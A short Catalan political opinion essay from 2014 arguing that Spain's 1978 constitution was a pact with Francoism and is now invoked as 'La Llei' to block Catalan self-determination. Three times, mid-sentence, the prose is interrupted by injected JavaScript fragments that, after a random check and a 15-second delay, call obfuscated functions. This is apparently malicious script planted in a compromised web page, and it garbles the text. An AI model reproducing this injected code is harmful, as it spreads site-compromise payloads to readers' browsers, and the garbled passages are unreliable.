Custòdia postfranquista, 2014

El regne d’Espanya és l’únic estat europeu actual que té andom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}una constitució pactada amb el feixisme. Les forces democràtiques majoritàries (se’n va excloure ERC) van pactar amb l’aparell estatal franquista un nou marc legal, la Constitució espanyola de 1978 i un règim parlamentari monàrquic. Atesa la correlació de forces d’aleshores, fruit de la repressió política de quatre dècades, hom podria interpretar aquell pacte com andom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}una solució conjuntural a l’espera de la plena recomposició de les forces democràtiques. Però just al revés, algunes forces antifranquistes van interioritzar els postulats polítics que van pactar amb el franquisme tot abandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andonant el seu ideari democràtic original, com ara el republicanisme i el dret a l’autodeterminació dels pobles. El franquisme s’embolcallava amb la religió per tal de legitimar-se: «Por la gracia de Dios», estampaven arreu. Aquesta visió jeràrquica, vertical i transcendent del poder és antitètica a la veritable democràcia, la qual només pot emanar de la ciutadania i de la seva lliure expressió en vots, sense cap coacció. Les forces que volen impedir que exercim el dret a l’autodeterminació segueixen amb d’altres paraules el mateix esquema subjacent, despòtic, vertical i transcendent, de la «Gracia de Dios» quan intenten sacralitzar el pacte conjuntural amb el franquisme, la constitució monàrquica de 1978, la qual ara anomenen «La Llei». Així, doncs, segons el poder de cada moment, abans lluitar contra el règim franquista era anar contra la «Gracia de Dios», i ara, lluitar a favor de l’exercici de l’autodeterminació, voler votar democràticament el futur de Catalunya, és anar contra «La Llei».

• obra